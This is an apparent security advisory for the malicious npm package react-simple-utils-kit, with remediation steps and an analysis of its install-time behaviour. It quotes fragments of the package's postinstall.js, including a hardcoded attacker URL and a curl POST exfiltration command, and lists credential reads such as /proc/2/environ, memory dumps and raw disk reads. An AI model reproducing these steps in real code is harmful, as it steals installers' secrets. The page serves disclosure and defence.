MalwarePublished 23 Jun 2026Updated 9 Jul 2026

react-simple-utils-kit (npm) · Malicious Code

Affects react-simple-utils-kitSource GCVE Database

Malicious package : remove react-simple-utils-kit and rotate any secrets on hosts that installed it.

Data as of 11 Jul 2026, 09:43 UTC

Classification

Malicious package

Published to npm · OSV MAL-2026-6303

What to do

Remove react-simple-utils-kit from every project, lockfile and image that pulls it in. Treat any host that installed it as compromised: rotate the credentials, tokens and keys it could read, from a clean machine.

Affected software

Product	Affected	Fixed in
npmreact-simple-utils-kit	Affected 1.0.0 – 1.4.2 18 affected builds	Fixed in–

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (038aa6bccd8008fec1f309d718e53dd4b89e4ca15a976c6a80652e0dd58a5b58) Package advertises itself as 'a simple date formatting utility for React projects' (3-function index.js), but ships a postinstall.js that runs on every `npm install` and performs an extensive reconnaissance + credential-harvest sweep against the installer's host, POSTing each result over plain HTTP to a hardcoded attacker endpoint at http://2e3bkumw.requestrepo.com (a one-shot request-interception domain unrelated to any legitimate publisher). postinstall.js:8 hardcodes `const BURL = 'http://2e3bkumw.requestrepo.com'` and postinstall.js:16 invokes `execSync(\`curl -s -m 8 -X POST -d @${tmpFile} ${BURL}/${key}...\`)` to ship results. Collected data includes: process capabilities and ptrace scope, strace attach against PID 2, raw memory reads of another process via `xxd /proc/2/mem`, that process's environment block via `cat /proc/2/environ` (commonly containing CI tokens and cloud credentials), `/proc/2/cmdline`, `ps aux`, listening-port enumeration, MCP probing on localhost:9000, and raw-disk reads from `/dev/vdb`. The package's name targets React developers via a date-utility cover story (empty author field, Chinese comment `绕过能力探测` = 'capability-detection bypass'); none of this behavior is consistent with the advertised purpose. Installer harm is concrete and immediate: any host running `npm install react-simple-utils-kit` leaks process-tree secrets, environment variables of other running processes, kernel/container introspection data, and raw block-device contents to attacker infrastructure. ## Source: ghsa-malware (29295ef35aa59796f637df779516a0382cbe1ce88e69a5c9f40012d9e63c9cfd) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Impact

Hosts that run npm install on react-simple-utils-kit leak sensitive system and credential information to an attacker-controlled server. This includes environment variables of other processes, potentially exposing CI tokens and cloud credentials, as well as kernel and container introspection data and raw disk contents. The compromise is severe and immediate, with the attacker gaining extensive knowledge and potential control over the affected system. The system should be considered fully compromised after installation.

Defensive guidance

There is no indication of an official patch or fix for this malicious package. The package should be immediately removed from any systems where it was installed. All secrets and credentials stored on affected systems must be rotated from a different, uncompromised machine. Given the severity of the compromise, affected hosts should be considered fully compromised and may require full system rebuilds or forensic analysis. Avoid installing this package and audit your dependency trees to ensure it is not included.

Summary

The react-simple-utils-kit npm package includes a postinstall.js script that runs on every npm install. This script collects detailed system information including process capabilities, ptrace scope, environment variables of other processes (which may contain CI tokens and cloud credentials), process command lines, running processes, listening ports, and raw disk data. It sends this information via HTTP POST to a hardcoded attacker domain (http://2e3bkumw.requestrepo.com). The package masquerades as a harmless React date utility but is in fact a credential-harvesting malware. Hosts installing this package are immediately and fully compromised.

References

Community reviews

Loading reviews…

What to do

Affected software

Description

AI analysisMachine-generated, updated 10 Jul 2026, 09:38 UTC

Technical details

References

Community reviews